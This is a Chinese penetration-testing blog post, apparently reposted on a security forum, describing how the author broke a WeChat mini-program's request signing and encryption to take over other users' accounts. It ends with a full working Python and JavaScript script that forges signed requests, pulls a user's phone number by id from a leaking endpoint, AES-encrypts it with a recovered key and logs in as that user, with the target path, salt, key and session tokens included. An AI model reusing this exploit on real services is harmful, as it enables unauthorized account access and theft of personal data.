奇安信攻防社区-死磕某小程序

死磕某小程序

死磕某小程序
======

前言0x00
------

最近无聊挖洞,发现一个小程序防护做的非常严,但是我就要死磕他

开始0x01
------

抓包环境 and 小程序逆向(忽略)

看看我的

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-5d63968216ead168054b386221a08425653199ce.png)  
抓个登入包

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-00e254a6d46b84e61c98ac35b31ee49a580e6349.png)

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-3327e831eb1c6a4150af236339021790b86bb80b.png)  
加密了,翻翻源码

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-bc337e37dd48a6d519a635caba431dfd49ce6d49.png)  
是Encrypt函数加密的

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-b7d92959c4e744f5de6e52082b451df250a07f50.png)

key是wx.getStorageSync("key");获得的

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-5f86aab2041ba2d40642c4c430b3ed8e3039a2dd.png)

key是g(e)获得的 看一下什么东西调用了getKeys函数

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-a9d73cd5b67d779e07575a674341d53cea28531b.png)  
是某个请求包的返回包中的参数nonFixedSax和fixedSax

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-978f8ff48c7cc36bff35173cce26ea1c7241fa13.png)

小伙子挺会藏的呀,我怀疑我在打ctf

获得key后走了个g函数

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-6989b896134b1079f4147d894475abfe37403a9d.png)  
g函数就是个一个加密函数

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-140701b005893dd9fb34094647124be5077a00d4.png)  
获得密钥试试

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-b46c27f6f4261f1b8fb0d1318ac00c61ee1d7a96.png)  
可以解密

然后尝试修改id看看可不可以登入到别人的账号上面

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-dd5bb452a57e5a74abfb9de8372c95e2b3ea1c26.png)  
发现请求过期,应该是sign搞的鬼

他先添加了两个参数saltValue和timestamp当前时间戳

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-1b376bf0e9f6589da21894b3630dccb1aca034f1.png)

然后进行了排序首字母大小写排序

类似于这样

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-a253a4cb506eb3286d67974dfa75871446daa5dd.png)  
然后???

我见过很多aes加密的js

第一次见到这样加密的,没有密钥貌似只是16进制了一下,然后大写md5一下

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-d6c1cbb3fa63ead31f5201fe17cc4d9691b91ae3.png)

写一下js构造了一个js脚本

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-8559ec3d0ac246b9e1e01e025ab8d24ed39a1d35.png)  
然后放到python中,js我实在不熟

使用execjs调用js函数

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-e82311019c46d5c2bfe75128f9f65fc1baee1a32.png)  
这样sign和timestamp就搞定了

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-38124274c8c897f8a408f72f37fb1e43a1db1e04.png)  
不行我测试了一会儿发现是验证了userid和手机号的一致性

就需要找到一个userid查询到手机号的接口

我直接爆破

js找到接口

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-f28426eb03b90bf7dbd070f5c06d8b0b18a8942e.png)  
搞成list,函数就填几个可能的参数比如userid和id什么的

然后python梭哈requests配置一下proxies到burp

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-739184f530ea38d116c29b429cd34f8efabf6abd.png)  
burp查看结果

找到了一个接口可以通过id来查询到手机号

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-026a01d94c86b09f05beb9b19a2868089595c763.png)

接下来有了userid和手机号

手机号aes加密

然后构造脚本

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-a2c0248b5b1ab9c1f1d57089c3a9fb56642f746c.png)  
获得token

burp替换token尝试登入

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-91eaf3f9fe46566d3fc4bc54b1735ff97fb82f0d.png)  
刷新小程序

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-02802cc5d859aa6d68faf102f78f6534bc884c69.png)

登入成功

开始构造脚本

userid(sigin,timestamp)获得手机号--&gt;

手机号aes加密+userid(sigin,timestamp)获得token

burp替换token完成登入

```php
import execjs  
import requests  
import json  
import binascii  
from Crypto.Cipher import AES  
import base64  
from Crypto.Util.Padding import pad, unpad

md5\_js\="""  
......  
function AES\_Encrypt(word) {  
    var srcs = CryptoJS.enc.Utf8.parse(word);  
    //console.log(srcs);  
    var aaa=CryptoJS.enc.Hex.stringify(srcs);  
    return aaa.toString();  
}  
{1}  
function yierjiami(ra) {  
{1}  
const jsonStr = ra;  
{1}  
const jsonObj = JSON.parse(jsonStr);  
jsonObj.saltValue = "c3Kx$0i67sds#";  
jsonObj.timestamp = Date.now().toString();  
//jsonObj.timestamp = "1703606967481"  
{1}  
const sortedJsonObj = sortObjectKeys(jsonObj);  
const sortedJsonStr = JSON.stringify(sortedJsonObj);  
{1}  
console.log(sortedJsonStr);  
var aaa=AES\_Encrypt(sortedJsonStr);  
{1}  
return \[r(aaa).toUpperCase(),jsonObj.timestamp\];  
{1}  
}  
"""

def aes\_ecb\_encrypt\_hex(plaintext, key):  
    cipher \= AES.new(key, AES.MODE\_ECB)  
    padded\_plaintext \= pad(plaintext.encode(), AES.block\_size)  
    ciphertext \= cipher.encrypt(padded\_plaintext)  
    return binascii.hexlify(ciphertext).decode()

id\=111  
content \= '{"id":"%s"}'%(id)

ctx \= execjs.compile(md5\_js)  
sign,time \= ctx.call('yierjiami', content)

url \= "https://xxx.xxx.com.cn/Pacificlife/myConsumer/detail"

headers \= {  
    "syscode": "TXQMP",  
    "charset": "utf-8",  
    "identify": "e4750356-9f8e-4a63-bdc3-80aca36699b6",  
    "sign": sign,  
    "User-Agent": "Mozilla/5.0 (Linux; Android 10; Pixel XL Build/QP1A.191005.007.A3; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160027 MMWEBSDK/20230805 MMWEBID/2433 MicroMessenger/8.0.42.2460(0x28002A58) WeChat/arm64 Weixin NetType/WIFI Language/zh\_CN ABI/arm64 MiniProgramEnv/android",  
    "content-type": "application/json",  
    "token": "eyJhbGciOiJIUzUxMiJ9.eyJjb25zdW1lcklkIjoxMjEsImNyZWF0ZWQiOjE3MDM2MTg3OTk4MTl9.goZ0iMAXuBhNk6GOwDWmHULU\_oO5HI6bv3YB0DqxJzTGvt5PUzGmo\_AXTkVjUMZRe66WCl8\_ZLCh41UNahis3w",  
    "Accept-Encoding": "gzip, deflate",  
    "timestamp": time  
}

response \= requests.get(url, json.loads(content), headers\=headers,verify\=False)

re1\=json.loads(response.text)  
try:  
    phone\=re1\['data'\]\['secPhone'\]  
    print(phone)  
    if(phone\==None):  
        print("userid没绑定手机号登入失败")  
        exit()  
except:  
    print("没手机号登入失败")  
    exit()

key\_hex \= b'3631475463441074'

plaintext\="{}".format(phone)  
ciphertext \= aes\_ecb\_encrypt\_hex(plaintext, key\_hex)  
print(ciphertext)

content \= '{"id":"%s","phone":"%s","name":"","salesCode":"","password":"","type":"1"}'%(id,ciphertext)

ctx \= execjs.compile(md5\_js)  
sign,time \= ctx.call('yierjiami', content)

url \= "https://xxx.xxx.com.cn/Pacificlife/consumer/login"

headers \= {  
    "syscode": "TXQMP",  
    "charset": "utf-8",  
    "identify": "e4750356-9f8e-4a63-bdc3-80aca36699b6",  
    "sign": sign,  
    "User-Agent": "Mozilla/5.0 (Linux; Android 10; Pixel XL Build/QP1A.191005.007.A3; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160027 MMWEBSDK/20230805 MMWEBID/2433 MicroMessenger/8.0.42.2460(0x28002A58) WeChat/arm64 Weixin NetType/WIFI Language/zh\_CN ABI/arm64 MiniProgramEnv/android",  
    "content-type": "application/json",  
    "Accept-Encoding": "gzip, deflate",  
    "token": "eyJhbGciOiJIUzUxMiJ9.eyJjb25zdW1lcklkIjoyNDIwMzIyLCJjcmVhdGVkIjoxNzAzNTk4Nzg2MjMzfQ.bnLooesbfQ6ikCJ7WUAuPWFstAD4d\_SZGq-Kijln2\_QPKJC0rrxf7lKzz12nCmxnAX5r3DYbSBP7jO1RwnndaQ",  
    "timestamp": time  
}

#response = requests.get(url, params, headers=headers,proxies=proxies,verify=False)

response \= requests.post(url, data\=json.dumps(json.loads(content)), headers\=headers,verify\=False)

re2\=json.loads(response.text)  
print("手机号:{}\\ntoken:{}\\n".format(phone,re2\['data'\]\['token'\]))
```

![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/04/attach-7eac702b72d409b30de71439cace2e9a19a17406.png)  
转载于：yier的博客

发表于 2024-05-08 14:13:23
阅读 ( 6942 )
分类：渗透测试

4 条评论

捐维藏 2024-07-29 14:02

大佬牛逼

asddad 2024-08-31 10:37

牛而逼之

uf9n1x 2024-09-14 17:50

牛牛牛

miaocat 2024-11-20 14:45

我虽然看不懂，但是我大为震撼